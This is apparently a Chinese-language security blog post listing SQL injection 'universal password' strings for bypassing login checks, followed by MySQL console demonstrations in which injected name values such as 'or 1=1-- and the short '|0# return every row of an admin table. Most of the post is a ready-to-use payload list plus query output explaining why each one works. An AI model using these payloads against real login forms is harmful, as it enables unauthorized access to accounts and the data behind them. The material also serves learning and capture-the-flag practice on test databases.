万能密码基本大家都用过,各种各样的,如下
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--
其实根据前面的文章我们很容易看出 他的原理就是让我们的条件恒成立 至于为什么这么多种,就是根据语句的形势来闭合的,
这里面涉及到运算符的优先级,MySQL运算的特性,然后下面我们以几个例子来做做最另类的万能密码
mysql> select * from admin where name = '/*' and pass = '*/';
Empty set (0.00 sec)
注释绕过
mysql> select * from admin where name = ''or 1=1-- ' and pass = '123';
-> ;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'111 | 11 |
| 4 | admin'111 | 11 |
+----+-----------+-------+
4 rows in set (0.00 sec)
经典的or 1=1--
其中1=1恒为true 然后导致每条数据都成立返回
那么知道了这个原理怎么构造一个简单的万能密码呢
mysql> select ''=0
-> ;
+------+
| ''=0 |
+------+
| 1 |
+------+
1 row in set (0.00 sec)
mysql> select 1=0=0;
+-------+
| 1=0=0 |
+-------+
| 1 |
+-------+
1 row in set (0.30 sec)
我们可以看到在mysql中 空字符串'' 等于0 为1 也就是true 知道这个特性我们可以来构造我们的万能密码了
mysql> select * from admin where name = ''|0#' and pass = '123';
-> ;
+----+-----------+-------+
| id | name | pass |
+----+-----------+-------+
| 1 | admin | admin |
| 2 | admin'111 | 11111 |
| 3 | admin'111 | 11 |
| 4 | admin'111 | 11 |
+----+-----------+-------+
4 rows in set, 5 warnings (0.00 sec)
仅仅用了 '|0#
个字符就能达到我们的效果 其他方法大家还可以测试,因为是自己发现的,然后问了几个师傅 发现ctf已经别人都用过了 ,不得不承认自己的知识量远远不够。
- author:404